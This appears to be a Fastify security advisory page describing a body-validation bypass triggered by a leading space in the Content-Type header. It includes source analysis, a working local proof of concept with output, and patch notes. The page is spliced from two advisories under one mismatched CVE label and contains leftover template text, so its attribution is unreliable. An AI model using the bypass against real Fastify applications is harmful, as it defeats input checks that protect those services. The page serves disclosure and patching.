CVE-2025-32442

Summary

A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped. This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).

Details

The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently. Parser path (lib/content-type.js, line ~67) applies trimStart() before processing:

const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()
// ' application/json' → trimStart() → 'application/json' → body is parsed ✓

Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.split(/[ ;]/, 1)[0].trim().toLowerCase()
}
// ' application/json'.split(/[ ;]/, 1) → ['']  (splits on the leading space!)
// ''.trim() → ''
// context[bodySchema][''] → undefined → NO validator found → validation skipped!

The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely. Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.

PoC

const fastify = require('fastify')({ logger: false });

fastify.post('/transfer', {
  schema: {
    body: {
      content: {
        'application/json': {
          schema: {
            type: 'object',
            required: ['amount', 'recipient'],
            properties: {
              amount: { type: 'number', maximum: 1000 },
              recipient: { type: 'string', maxLength: 50 },
              admin: { type: 'boolean', enum: [false] }
            },
            additionalProperties: false
          }
        }
      }
    }
  }
}, async (request) => {
  return { processed: true, data: request.body };
});

(async () => {
  await fastify.ready();

  // BLOCKED — normal request with invalid payload
  const res1 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': 'application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Normal:', res1.statusCode);
  // → 400 FST_ERR_VALIDATION

  // BYPASS — single leading space
  const res2 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': ' application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Leading space:', res2.statusCode);
  // → 200 (validation bypassed!)
  console.log('Body:', res2.body);

  await fastify.close();
})();

Output:

Normal: 400
Leading space: 200
Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}

Impact

Any Fastify application that relies on <code>schema.body.content</code> (per-content-type body validation)…

Impact

In applications that specify different validation strategies for different content types, it's possible to bypass the validation by providing a slightly altered content type such as with different casing or altered whitespacing before ;.

Users using the the following pattern are affected:

fastify.post('/', {
  handler(request, reply) {
    reply.code(200).send(request.body)
  },
  schema: {
    body: {
      content: {
        'application/json': {
          schema: {
            type: 'object',
            properties: {
              'foo': {
                type: 'string',
              }
            },
            required: ['foo']
          }
        },
      }
    }
  }
})

User using the following pattern are not affected:

fastify.post('/', {
  handler(request, reply) {
    reply.code(200).send(request.body)
  },
  schema: {
    body: {
      type: 'object',
      properties: {
        'foo': {
          type: 'string',
        }
      },
      required: ['foo']
    }
  }
})

Patches

This was patched in v5.3.1, but unfortunately it did not cover all problems. This has been fully patched in v5.3.2. Version v4.9.0 was also affected by this issue. This has been fully patched in v4.9.1.

Workarounds

Do not specify multiple content types in the schema.

References

Are there any links users can visit to find out more?

https://hackerone.com/reports/3087928

TuxCare rebuilt fastify to address 2 CVEs. Fixed in 5.7.4-tuxcare.2.

TuxCare rebuilt fastify to address 3 CVEs. Fixed in 5.2.1-tuxcare.1.